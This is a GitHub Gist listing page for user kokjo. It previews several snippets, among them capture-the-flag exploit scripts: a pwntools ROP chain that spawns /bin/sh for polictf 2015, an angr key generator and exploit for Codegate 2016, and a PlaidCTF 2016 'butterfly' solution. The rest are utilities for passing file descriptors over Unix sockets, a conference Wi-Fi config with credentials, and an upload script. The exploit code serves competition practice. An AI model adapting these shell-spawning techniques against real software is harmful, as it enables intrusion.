Skip to content

Instantly share code, notes, and snippets.

View kokjo's full-sized avatar

Jonas Rudloff kokjo

View GitHub Profile
@kokjo
kokjo / doit.py
Created July 14, 2015 09:06
Solution for johns-shufle from polictf 2015
from pwn import *
e = ELF("./johns-shuffle")
rop = ROP(e)
command = "/bin/sh"
# Bypass the shuffling by forcing the dynamic linker to lookup the symbols again
rop.call(e.plt["read"]+6, [0, e.bss(), len(command)+1])
rop.call(e.plt["system"]+6, [e.bss()])
@kokjo
kokjo / sendfd.c
Last active April 16, 2024 10:27
Send a file descriptor over an abstract unix domain socket
// compile with: gcc -static -o sendfd sendfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>
int send_fd(int sock, int fd){
// This function does the arcane magic for sending
// file descriptors over unix domain sockets
struct msghdr msg;
@kokjo
kokjo / recvfd.c
Last active April 14, 2024 06:07
Receive a file descriptor over a abstract unix domain socket.
// compile with gcc -static -o recvfd recvfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>
static int recv_fd(int sock){
// This function does the arcane magic recving
// file descriptors over unix domain sockets
struct msghdr msg;
@kokjo
kokjo / gen_serial.py
Created March 20, 2016 15:16
Product key generator for the serial task form Codegate Quals 2016
import angr
p = angr.Project("./serial")
s = p.factory.blank_state(addr = 0x400CBB )
serial = s.se.BVS("serial", 32*8)
s.memory.store(0x6020BA, serial) # store some symbolic memory in the bss
s.regs.rdi = 0x6020BA # let the first arguemnt(rdi) point to it
pg = p.factory.path_group(s)
@kokjo
kokjo / doit_serial.py
Created March 20, 2016 15:47
Exploit for serial from Codegate quals 2016
from pwn import *
e = ELF("./serial")
#r = remote("175.119.158.133", 23232)
r = process("./serial")
r.recvuntil("input product key:")
r.sendline("615066814080")
@kokjo
kokjo / doit_butterfly.py
Last active April 20, 2016 10:09
My solution to the butterfly challenge from Plaidctf 2016
from pwn import *
context(arch="amd64")
e = ELF("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
r = remote("butterfly.pwning.xxx", 9999)
#r = process("./butterfly_33e86bcc2f0a21d57970dc6907867bed")
addr = 0x400860+3
num = (addr << 3) + 6
r.sendline(str(num).ljust(40)+p64(e.symbols["main"]))
@kokjo
kokjo / demo.c
Created October 10, 2016 12:43
The old demo tool from pwntools.
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
@kokjo
kokjo / Bug.hs
Created December 21, 2016 15:11
module Bug where
import Control.Monad
import Control.Monad.State (gets)
import Control.Monad.Trans.Class (lift)
foo = lift lift gets
{-
$ ghc bug.hs
@kokjo
kokjo / .net.conf
Created December 27, 2016 11:17
net tool configuration for 33c3
ccc:
ssid: 33C3
dns: dhcp
wpa: |
network={
ssid="33C3"
key_mgmt=WPA-EAP
eap=TTLS
identity="edward"
password="snowden"
@kokjo
kokjo / up
Created March 29, 2017 22:07
#!/bin/sh
WEBROOT="/path/to/web/root/on/server"
HOST="put.hostname.here"
scp "$1" "${USER}@${HOST}:${WEBROOT}$(basename "$1")"
echo "http://${HOST}/$(basename $1)"
sha256sum $1